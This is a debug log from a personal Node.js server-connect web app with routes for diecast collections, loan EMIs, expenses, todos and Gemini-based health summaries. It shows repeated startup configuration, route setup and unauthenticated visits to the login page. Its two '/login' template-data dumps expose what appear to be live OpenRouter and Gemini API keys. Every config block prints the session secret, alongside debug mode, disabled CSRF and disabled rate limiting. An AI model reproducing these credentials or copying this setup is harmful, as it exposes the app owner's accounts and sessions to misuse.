2026-06-13T00:26:01.600Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T00:26:01.600Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T00:26:01.600Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T00:26:01.601Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T00:26:01.601Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T00:26:01.601Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T00:26:01.602Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T00:26:01.602Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T00:26:01.603Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T00:26:01.603Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T00:26:01.603Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T00:26:01.604Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T00:26:01.728Z server-connect:router Serving templateView /
2026-06-13T00:26:01.731Z server-connect:app Executing action step identify
2026-06-13T00:26:01.732Z server-connect:app options: { provider: 'security' }
2026-06-13T00:26:01.734Z server-connect:auth No login cookie found
2026-06-13T00:26:01.734Z server-connect:output identity: false
2026-06-13T00:26:01.734Z server-connect:app Executing action step restrict
2026-06-13T00:26:01.734Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T00:26:01.738Z server-connect:output restrict: undefined
2026-06-13T00:26:04.260Z server-connect:router Serving templateView /login
2026-06-13T00:26:04.260Z server-connect:app Executing action step identify
2026-06-13T00:26:04.261Z server-connect:app options: { provider: 'security' }
2026-06-13T00:26:04.261Z server-connect:auth No login cookie found
2026-06-13T00:26:04.261Z server-connect:output identity: false
2026-06-13T00:26:04.261Z server-connect:router Render template layouts/authentication
2026-06-13T00:26:04.262Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0',
    'accept-charset': 'utf-8',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '157.173.126.24',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-14T00:26:04.257Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.173.126.24',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '157.173.126.24',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-13T01:27:07.703Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T01:27:07.879Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T01:27:07.954Z server-connect:setup:upload Upload middleware configured.
2026-06-13T01:27:07.954Z server-connect:secure CSRF Protection initialized
2026-06-13T01:27:07.957Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T01:27:07.958Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T01:27:07.959Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T01:27:07.959Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T01:27:07.960Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T01:27:07.961Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T01:27:07.961Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T01:27:07.962Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T01:27:07.963Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T01:27:07.963Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T01:27:07.963Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T01:27:07.978Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T01:27:07.978Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T01:27:07.979Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T01:27:07.979Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T01:27:07.980Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T01:27:07.980Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T01:27:07.980Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T01:27:07.980Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T01:27:07.981Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T01:27:07.981Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T01:27:07.982Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T01:27:07.982Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T01:27:07.982Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T01:27:07.982Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T01:27:07.982Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T01:27:07.983Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T01:27:07.983Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T01:27:07.983Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T01:27:07.984Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T01:27:07.984Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T01:27:07.984Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T01:27:07.984Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T01:27:07.984Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T01:27:07.985Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T01:27:07.985Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T01:27:07.985Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T01:27:07.985Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T01:27:08.049Z server-connect:router Serving templateView /
2026-06-13T01:27:08.082Z server-connect:app Executing action step identify
2026-06-13T01:27:08.082Z server-connect:app options: { provider: 'security' }
2026-06-13T01:27:08.083Z server-connect:auth No login cookie found
2026-06-13T01:27:08.083Z server-connect:output identity: false
2026-06-13T01:27:08.083Z server-connect:app Executing action step restrict
2026-06-13T01:27:08.084Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T01:27:08.087Z server-connect:output restrict: undefined
2026-06-13T02:13:56.826Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T02:13:56.999Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T02:13:57.079Z server-connect:setup:upload Upload middleware configured.
2026-06-13T02:13:57.079Z server-connect:secure CSRF Protection initialized
2026-06-13T02:13:57.081Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T02:13:57.082Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T02:13:57.082Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T02:13:57.084Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T02:13:57.085Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T02:13:57.085Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T02:13:57.086Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T02:13:57.087Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T02:13:57.087Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T02:13:57.088Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T02:13:57.091Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T02:13:57.091Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T02:13:57.091Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T02:13:57.092Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T02:13:57.092Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T02:13:57.093Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T02:13:57.093Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T02:13:57.093Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T02:13:57.093Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T02:13:57.094Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T02:13:57.094Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T02:13:57.094Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T02:13:57.095Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T02:13:57.095Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T02:13:57.095Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T02:13:57.095Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T02:13:57.096Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T02:13:57.096Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T02:13:57.096Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T02:13:57.096Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T02:13:57.097Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T02:13:57.097Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T02:13:57.097Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T02:13:57.097Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T02:13:57.098Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T02:13:57.098Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T02:13:57.098Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T02:13:57.098Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T02:14:54.197Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T02:14:54.351Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T02:14:54.443Z server-connect:setup:upload Upload middleware configured.
2026-06-13T02:14:54.443Z server-connect:secure CSRF Protection initialized
2026-06-13T02:14:54.445Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T02:14:54.446Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T02:14:54.447Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T02:14:54.447Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T02:14:54.448Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T02:14:54.449Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T02:14:54.450Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T02:14:54.450Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T02:14:54.453Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T02:14:54.453Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T02:14:54.454Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T02:14:54.476Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T02:14:54.476Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T02:14:54.477Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T02:14:54.477Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T02:14:54.478Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T02:14:54.478Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T02:14:54.478Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T02:14:54.479Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T02:14:54.479Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T02:14:54.479Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T02:14:54.480Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T02:14:54.480Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T02:14:54.480Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T02:14:54.481Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T02:14:54.481Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T02:14:54.481Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T02:14:54.481Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T02:14:54.482Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T02:14:54.482Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T02:14:54.482Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T02:14:54.482Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T02:14:54.482Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T02:14:54.482Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T02:14:54.483Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T02:14:54.483Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T02:14:54.483Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T02:14:54.483Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T02:18:40.780Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T02:18:40.937Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T02:18:41.026Z server-connect:setup:upload Upload middleware configured.
2026-06-13T02:18:41.026Z server-connect:secure CSRF Protection initialized
2026-06-13T02:18:41.028Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T02:18:41.030Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T02:18:41.030Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T02:18:41.031Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T02:18:41.031Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T02:18:41.032Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T02:18:41.033Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T02:18:41.034Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T02:18:41.036Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T02:18:41.037Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T02:18:41.037Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T02:18:41.037Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T02:18:41.038Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T02:18:41.038Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T02:18:41.038Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T02:18:41.039Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T02:18:41.039Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T02:18:41.039Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T02:18:41.040Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T02:18:41.040Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T02:18:41.040Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T02:18:41.041Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T02:18:41.041Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T02:18:41.041Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T02:18:41.041Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T02:18:41.041Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T02:18:41.042Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T02:18:41.042Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T02:18:41.042Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T02:18:41.042Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T02:18:41.043Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T02:18:41.043Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T02:18:41.043Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T02:18:41.043Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T02:18:41.043Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T02:18:41.044Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T02:18:41.044Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T02:18:41.044Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T02:18:41.138Z server-connect:router Serving templateView /
2026-06-13T02:18:41.140Z server-connect:app Executing action step identify
2026-06-13T02:18:41.140Z server-connect:app options: { provider: 'security' }
2026-06-13T02:18:41.141Z server-connect:auth No login cookie found
2026-06-13T02:18:41.141Z server-connect:output identity: false
2026-06-13T02:18:41.141Z server-connect:app Executing action step restrict
2026-06-13T02:18:41.142Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T02:18:41.145Z server-connect:output restrict: undefined
2026-06-13T02:18:41.622Z server-connect:router Serving templateView /login
2026-06-13T02:18:41.623Z server-connect:app Executing action step identify
2026-06-13T02:18:41.623Z server-connect:app options: { provider: 'security' }
2026-06-13T02:18:41.623Z server-connect:auth No login cookie found
2026-06-13T02:18:41.623Z server-connect:output identity: false
2026-06-13T02:18:41.623Z server-connect:router Render template layouts/authentication
2026-06-13T02:18:41.624Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '194.163.167.100',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-14T02:18:41.620Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '194.163.167.100',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '194.163.167.100',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-13T02:30:13.625Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T02:30:13.805Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
